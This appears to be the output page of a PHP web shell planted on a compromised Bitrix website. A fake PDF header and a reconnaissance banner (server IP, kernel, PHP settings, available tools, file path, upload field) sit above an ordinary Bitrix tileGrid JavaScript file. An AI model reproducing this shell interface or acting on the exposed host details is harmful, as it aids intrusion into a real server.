%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.216.209.235 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.ui.grid/templates/tilegrid/js/ |
Upload File : |
;(function() { 'use strict'; BX.namespace('BX.Main'); /** * Works with tileGrid instances * @type {{data: Array, push: BX.Main.tileGridManager.push, getById: BX.Main.tileGridManager.getById}} */ if (BX.Main.tileGridManager) { return; } BX.Main.tileGridManager = { data: [], push: function(id, instance) { if (BX.type.isNotEmptyString(id) && instance) { var object = { id: id, instance: instance, old: null }; if (this.getById(id) === null) { this.data.push(object); } else { this.data[0] = object; } } }, getById: function(id) { var result = this.data.filter(function(current) { return (current.id === id); }); return result.length === 1 ? result[0] : null; }, getInstanceById: function(id) { var result = this.getById(id); return BX.type.isPlainObject(result) ? result["instance"] : null; }, reload: function(id, url) { var instance = this.getInstanceById(id); if(instance) { instance.reload(url); } }, getDataIndex: function(id) { var result = null; this.data.forEach(function(item, index) { if (item.id === id) { result = index; } }); return result; }, destroy: function(id) { if (BX.type.isNotEmptyString(id)) { var tileGrid = this.getInstanceById(id); if (tileGrid instanceof BX.Main.TileGrid) { tileGrid.destroy(); var index = this.getDataIndex(id); if (index !== null) { delete this.data[index]; } } } } }; })();